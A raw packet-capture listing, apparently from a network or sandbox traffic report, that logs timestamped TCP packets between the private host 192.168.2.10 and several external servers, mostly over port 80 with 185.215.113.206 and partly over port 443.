Nov 22, 2024 17:09:04.168240070 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.168287039 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.168324947 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.168338060 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.168371916 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.168389082 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.169156075 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.169209957 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.169215918 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.169229031 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.169255018 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.169275999 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.170123100 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.170173883 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.170173883 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.170186043 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.170233011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.170233011 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.171076059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.171113014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.171166897 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.171205044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.171248913 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.171922922 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.171962976 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.172074080 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.172086000 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.172127962 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.172925949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.172974110 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.173008919 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.173022032 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.173052073 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.173723936 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.173773050 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.236171007 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.236474991 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.236510038 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.237612009 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.237680912 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.238605022 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.238796949 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.238929987 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.238950014 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.239094019 CET	49807	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.240118980 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.240190029 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.241334915 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.241444111 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.241571903 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.241581917 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.241614103 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.241666079 CET	443	49805	20.189.173.23	192.168.2.10
Nov 22, 2024 17:09:04.246427059 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.246684074 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.246716022 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.247689009 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.247741938 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.248275995 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.248336077 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.248446941 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.248466969 CET	443	49810	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.267260075 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.267968893 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.267983913 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.268793106 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.269074917 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.269154072 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.269490957 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.269571066 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.269666910 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.269699097 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.270107985 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.270113945 CET	443	49811	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.270224094 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.271280050 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.271449089 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.271501064 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.283344984 CET	443	49807	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.286442041 CET	49805	443	192.168.2.10	20.189.173.23
Nov 22, 2024 17:09:04.301862001 CET	49810	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.304769039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.304832935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.304845095 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.304850101 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.304898977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.305133104 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.305195093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.305285931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.305296898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.305342913 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.305356026 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.306034088 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.306075096 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.306083918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.306087971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.306164980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.306920052 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.306956053 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.306982994 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.307008982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.307080984 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.307135105 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.307698011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.307758093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.307760954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.307883978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.307940006 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.308600903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.308665037 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.308681011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.308693886 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.308723927 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.308756113 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.309581995 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.309595108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.309607029 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.309645891 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.309681892 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.310421944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.310477018 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.310478926 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.310492992 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.310538054 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.311343908 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.311448097 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.311463118 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.311505079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.311539888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.312287092 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.312433958 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.312444925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.312462091 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.312483072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.312684059 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.313142061 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.313169003 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.313242912 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.313350916 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.313360929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.313422918 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.314148903 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.314210892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.314217091 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.314224005 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.314260006 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.314277887 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.314337969 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.315042019 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.315073013 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.315087080 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.315116882 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.315129995 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.315154076 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.315176964 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.315335989 CET	443	49808	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.315736055 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.315747976 CET	443	49809	104.117.182.72	192.168.2.10
Nov 22, 2024 17:09:04.315968037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.316060066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.316071033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.316091061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.316112041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.316890955 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.316947937 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.316962004 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.316978931 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.317012072 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.317053080 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.317270041 CET	49811	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.317279100 CET	49808	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.318027973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.318074942 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.318078995 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.318089962 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.318131924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.319490910 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.319504023 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.319516897 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.319552898 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.319597960 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.319962978 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.320029974 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.320046902 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.320060015 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.320103884 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.320736885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.320786953 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.320801973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.320838928 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.320868015 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.321537018 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.321600914 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.321630001 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.321643114 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.321707010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.322408915 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.322477102 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.322520971 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.322532892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.322576046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.323309898 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.323396921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.323554039 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.323607922 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.364557028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.364577055 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.364587069 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.364743948 CET	49809	443	192.168.2.10	104.117.182.72
Nov 22, 2024 17:09:04.364746094 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.364907026 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.364975929 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.364988089 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.365010977 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.365031004 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.365832090 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.365880013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.365890980 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.365905046 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.365940094 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.366758108 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.366806030 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.366816044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.366830111 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.366864920 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.367686987 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.367742062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.367746115 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.367779970 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.367902040 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.367945910 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.368607044 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.368660927 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.368664980 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.368673086 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.368700027 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.368717909 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.369601011 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.369652033 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.369661093 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.369663954 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.369702101 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.370590925 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.370609999 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.370619059 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.370641947 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.370668888 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.421942949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.421964884 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.422003031 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.422044992 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.422071934 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.422121048 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.422125101 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.422135115 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.422163010 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.422177076 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.423027992 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.423075914 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.423089027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.423100948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.423130989 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.423966885 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.424034119 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.424062014 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.424074888 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.424108982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.424134016 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.424834013 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.424896002 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.424921036 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.424943924 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.425441027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.425477028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.425488949 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.425491095 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.425513983 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.425539017 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.426538944 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.426561117 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.426573992 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.426603079 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.426626921 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.427606106 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.427654982 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.427661896 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.427679062 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.427699089 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.427719116 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.494371891 CET	443	49727	173.222.162.55	192.168.2.10
Nov 22, 2024 17:09:04.494434118 CET	49727	443	192.168.2.10	173.222.162.55
Nov 22, 2024 17:09:04.505898952 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.505913973 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.505924940 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.505964041 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.506012917 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.506242037 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.506289959 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.506393909 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.506407022 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.506447077 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.507047892 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.507095098 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.507106066 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.507127047 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.507157087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.507157087 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.508080006 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.508093119 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.508105040 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.508156061 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.508187056 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.508486986 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.508882046 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:04.508908987 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.508935928 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.508985996 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.509114027 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.509125948 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.509170055 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.509284019 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.509643078 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:04.509706974 CET	443	49812	18.238.49.74	192.168.2.10
Nov 22, 2024 17:09:04.509773016 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.509819984 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.509825945 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.509850025 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.509867907 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.510548115 CET	49812	443	192.168.2.10	18.238.49.74
Nov 22, 2024 17:09:04.510549068 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.510894060 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.510906935 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.510914087 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.510972023 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.511913061 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.511924028 CET	80	49747	185.215.113.206	192.168.2.10
Nov 22, 2024 17:09:04.511976004 CET	49747	80	192.168.2.10	185.215.113.206
Nov 22, 2024 17:09:04.526350021 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.526602983 CET	443	49806	20.1.248.118	192.168.2.10
Nov 22, 2024 17:09:04.526648998 CET	49806	443	192.168.2.10	20.1.248.118
